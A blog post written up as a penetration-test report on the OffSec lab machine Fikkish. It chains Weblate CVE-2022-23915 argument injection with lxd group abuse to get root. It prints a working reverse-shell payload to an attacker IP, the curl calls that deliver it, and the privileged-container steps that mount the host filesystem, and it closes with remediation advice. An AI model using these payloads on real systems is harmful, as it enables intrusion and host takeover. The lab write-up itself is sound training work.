← All posts

Field notes / Security

Fikkish: OffSec Proving Grounds Practice

Penetration Test Report & Technical Walkthrough

Target Fikkish (OffSec PG Practice)
IP Address 192.168.110.19 / 192.168.106.19 (DHCP, varied across sessions)
Operating System Linux (Ubuntu)
Difficulty Intermediate
Date August 2026
Result Full compromise - user + root

Publication note: session-specific passwords, API tokens, and flag values have been redacted.


1. Executive Summary

Fikkish was compromised end-to-end by chaining a known application vulnerability with a host misconfiguration. An exposed Weblate 4.11 instance was authenticated using a credential recoverable from the target's own thematic context, then exploited via CVE-2022-23915 (version-control argument injection) to gain remote code execution as the tom user. Privilege escalation to root was achieved by abusing tom's membership in the lxd group to launch a privileged container with the host filesystem mounted, granting unrestricted root-level file access.

Both the initial foothold and the privilege escalation stem from argument/trust-boundary injection - the Weblate flaw passes attacker input to hg without delimiting options, and the LXD trust model treats group members as effectively root. This gives the engagement a clean through-line: the same class of weakness appears at two layers.

Key Findings

# Finding Severity
1 Weblate 4.11 vulnerable to CVE-2022-23915 (authenticated VCS argument-injection RCE) Critical
2 Administrative credential recoverable from application context High
3 Weblate running with DEBUG=True, disclosing internal routes and stack data Medium
4 Low-privilege user in lxd group (host-root equivalent) Critical

Flags Captured

Flag Value
User (/home/tom/local.txt) [REDACTED USER FLAG]
Root (/mnt/root/root/proof.txt) [REDACTED ROOT FLAG]

2. Concise Technical Walkthrough

For readers who want the compressed version - the full reproducible detail follows in Section 3.

  1. Recon - nmap reveals SSH (22), an Apache site "Book Bargains Online" (80), and Weblate 4.11 on 8000.
  2. Credential - the administrative password is recovered from contextual clues in the application rather than brute force. Login as admin succeeds.
  3. API key - grab the personal API token from /accounts/profile/#api.
  4. RCE (CVE-2022-23915) - create a project, then a Mercurial component whose branch field carries a Mercurial alias injection: --config=alias.pull=!<command>. Weblate runs hg pull --branch <payload>, executing the alias as a shell command → reverse shell as tom.
  5. User flag - /home/tom/local.txt.
  6. Privesc (lxd group) - tom is in lxd. Import a minimal Alpine image, launch a privileged container mounting host / at /mnt/root, and read root's files.
  7. Root flag - /mnt/root/root/proof.txt.

Two gotchas worth noting: the ! in the payload triggers zsh history expansion (unsetopt banghist or feed the value from a file). Outbound egress was filtered on some ports - validate execution with an ICMP callback and use an allowed port (80) for the shell and image transfer.


3. Detailed Walkthrough

3.1 Enumeration

Initial port scan:

nmap -sC -sV -p- 192.168.110.19

Captured results:

22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
                       |_http-title: Book Bargains Online
8000/tcp open  http    WSGIServer 0.2 (Python 3.10.12)
                       |_http-title: Weblate
                       | http-robots.txt: 31 disallowed entries (15 shown)
                       | /admin/ /js/ /accounts/ /source/ /commit/
                       | /update/ /push/ /reset/ /lock/ /unlock/ ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Weblate 4.11 is vulnerable to CVE-2022-23915 - authenticated RCE via argument injection when Weblate invokes git or Mercurial, fixed in 4.11.1. Exploitation requires an authenticated account able to create a translation component.

3.2 Credential Discovery

The Weblate API discloses configured users without authentication:

curl -s "http://192.168.110.19:8000/api/users/?format=json" | python3 -m json.tool

Captured output:

{
    "count": 2,
    "next": null,
    "previous": null,
    "results": [
        { "full_name": "Anonymous",     "username": "anonymous" },
        { "full_name": "Weblate Admin", "username": "admin" }
    ]
}

The admin password is not obtained through brute force or a direct file disclosure. It is recovered through contextual inference from clues exposed by the target application. The exact credential and identifying clue are intentionally redacted here so the walkthrough preserves the reasoning process without giving away the solution.

Authenticating at /accounts/login/ as admin:[REDACTED] returns a 302 redirect to / - successful login:

POST /accounts/login/ ... username=admin&password=[REDACTED]

HTTP/1.1 302 Found
Location: /
Set-Cookie: sessionid=f9d54hjmkw9npml745hhwhxpc9dwp0k1; ...

Note: Weblate's login uses Django's session-bound CSRF. Automated login attempts must carry the csrftoken/sessionid pair from the same GET plus a matching Referer/Origin; the browser handles this transparently. Hand-crafted POSTs missing the csrftoken cookie return 403 CSRF verification failed.

3.3 Obtaining the API Key

Logged in as admin, navigate to /accounts/profile/#api. Weblate displays a personal API token, which we use to drive component creation programmatically:

Your personal API key: [REDACTED API TOKEN]
API root URL:          http://localhost/api/

3.4 Foothold - CVE-2022-23915

Vulnerability mechanism. In Weblate's VCS backend, the component's branch field is passed directly into hg pull --branch <branch> without delimiting it from option parsing. Because Mercurial accepts --config=... anywhere on the command line, an attacker sets a Mercurial alias whose value begins with ! - in Mercurial, a !-prefixed alias executes as a shell command. When Weblate triggers a pull, the injected command runs.

Payload (written to a file to avoid shell-quoting issues):

printf -- '--config=alias.pull=!bash -c "bash -i >& /dev/tcp/192.168.45.165/443 0>&1"' > /tmp/branch.txt
cat /tmp/branch.txt
# --config=alias.pull=!bash -c "bash -i >& /dev/tcp/192.168.45.165/443 0>&1"

Start a listener (attacker):

nc -lvnp 443

Create the project (attacker). The API requires a web field:

IP=192.168.110.19
TOKEN="[REDACTED API TOKEN]"

curl -s --noproxy '*' -H "Authorization: Token $TOKEN" \
  --data-urlencode "name=poc" --data-urlencode "slug=poc" \
  --data-urlencode "web=http://localhost" \
  "http://$IP:8000/api/projects/" | python3 -m json.tool

Captured output (project created, id: 1):

{
    "name": "poc",
    "slug": "poc",
    "id": 1,
    "web": "http://localhost",
    "components_list_url": "http://localhost/api/projects/poc/components/",
    ...
}

Create the malicious component - the branch field carries the injection (attacker):

unsetopt banghist    # zsh: stop the ! triggering history expansion
N=$RANDOM
curl -s --noproxy '*' -H "Authorization: Token $TOKEN" \
  --data-urlencode "name=c$N" --data-urlencode "slug=c$N" \
  --data-urlencode "vcs=mercurial" \
  --data-urlencode "repo=http://localhost" \
  --data-urlencode "branch@/tmp/branch.txt" \
  --data-urlencode "file_format=po" --data-urlencode "filemask=*.po" \
  "http://$IP:8000/api/projects/poc/components/"

The request hangs - that is Weblate running hg pull --branch <payload> with the blocking reverse shell. The shell lands on the listener as tom:

connect to [192.168.45.165] from (UNKNOWN) [192.168.110.19] 45554
bash: cannot set terminal process group (897): Inappropriate ioctl for device
tom@fikkish:.../site-packages/data/vcs/poc/c15080$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd)

User flag captured:

tom@fikkish:~$ cat /home/tom/local.txt
[REDACTED USER FLAG]

Operational notes. (1) The ! in the payload triggers zsh history expansion on the attacker side - run unsetopt banghist or use the file-based branch@/tmp/branch.txt form shown above. (2) The component POST hangs by design - that is the blocking hg pull running the payload, i.e. success. (3) Each component needs a unique slug ($RANDOM). (4) The reverse shell lands in Weblate's VCS working directory (an odd nested site-packages/data/vcs/... path) and PTY upgrades were unreliable, but it is fully usable for the lxc commands that follow. (5) If the reverse shell does not connect, egress filtering is likely; confirm code execution with an ICMP callback (--config=alias.pull=!ping -c3 192.168.45.165 + tcpdump -i tun0 icmp) and switch the shell to an allowed port such as 80.

3.5 Privilege Escalation - lxd Group

The id output shows tom belongs to the lxd group. Membership in lxd is functionally equivalent to root: a group member can instruct the LXD daemon (running as root) to mount the host filesystem into a privileged container.

Confirm LXD is usable and initialize storage:

tom@fikkish:~$ lxc version
Client version: 5.0.4
Server version: 5.0.4

tom@fikkish:~$ lxd init --auto

tom@fikkish:~$ lxc storage list
+---------+--------+------------------------------------------------+---------+---------+
|  NAME   | DRIVER |                     SOURCE                     | USED BY |  STATE  |
+---------+--------+------------------------------------------------+---------+---------+
| default | dir    | /var/snap/lxd/common/lxd/storage-pools/default |    1    | CREATED |
+---------+--------+------------------------------------------------+---------+---------+

No container images are present and the box has no internet access, so a minimal Alpine image is built on the attacker host and transferred in.

On the attacker - build and host the image:

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
ls *.tar.gz          # repo ships a prebuilt tarball
# alpine-v3.13-x86_64-20210218_0139.tar.gz
sudo python3 -m http.server 80   # port 80  -  outbound-allowed on this target

On the target - pull, import, and escalate. The transfer succeeds over port 80:

tom@fikkish:/tmp$ wget http://192.168.45.165/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 192.168.45.165:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
... saved [3259593/3259593]

tom@fikkish:/tmp$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
tom@fikkish:/tmp$ lxc image list
+--------+--------------+--------+-------------------------------+--------------+-----------+---------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE   |
+--------+--------------+--------+-------------------------------+--------------+-----------+---------+
| alpine | cd73881adaac | no     | alpine v3.13 (20210218_01:39) | x86_64       | CONTAINER | 3.11MiB |
+--------+--------------+--------+-------------------------------+--------------+-----------+---------+

Launch a privileged container with the host root filesystem mounted:

tom@fikkish:/tmp$ lxc init alpine r00t -c security.privileged=true
Creating r00t

tom@fikkish:/tmp$ lxc config device add r00t hostroot disk source=/ path=/mnt/root recursive=true
Device hostroot added to r00t

tom@fikkish:/tmp$ lxc start r00t
tom@fikkish:/tmp$ lxc exec r00t /bin/sh
~ #

Inside the privileged container you are root, and the host filesystem is mounted at /mnt/root:

~ # cat /mnt/root/root/proof.txt
[REDACTED ROOT FLAG]

Root flag captured. From here the host is fully controlled - root's files are readable/writable via /mnt/root (e.g. plant an SSH key in /mnt/root/root/.ssh/authorized_keys for stable root access, or read /etc/shadow).


4. Remediation

Finding Recommendation
CVE-2022-23915 Upgrade Weblate to ≥ 4.11.1. Restrict who can create/edit components; treat VCS URLs and branch fields as untrusted input.
Weak/contextual admin credential Enforce strong, non-guessable passwords; disable or rename default admin accounts; enable MFA.
DEBUG=True in production Set DEBUG=False; ensure SECRET_KEY is overridden from the shipped default; suppress verbose error pages.
lxd group membership Remove unprivileged users from the lxd group. Treat lxd (and docker) group membership as root-equivalent and grant only to trusted administrators.
Unauthenticated user enumeration via API Require authentication on /api/users/; limit information disclosed to anonymous callers.

5. Attack Chain Summary

nmap → Weblate 4.11 (:8000)
   │
   ├─ /api/users/  → admin exists
   ├─ contextual cred: admin : [REDACTED]   (recovered through contextual inference)
   │
   ▼
login (302) → /accounts/profile/#api → personal API token
   │
   ▼
CVE-2022-23915: Mercurial component, branch = --config=alias.pull=!<cmd>
   │  (hg pull runs the alias as a shell command)
   ▼
reverse shell as tom  →  /home/tom/local.txt
                          [REDACTED USER FLAG]   [USER]
   │
   ▼
tom ∈ lxd group → privileged container, host / at /mnt/root
   │
   ▼
/mnt/root/root/proof.txt
[REDACTED ROOT FLAG]   [ROOT]

End of report.

← Back to the blog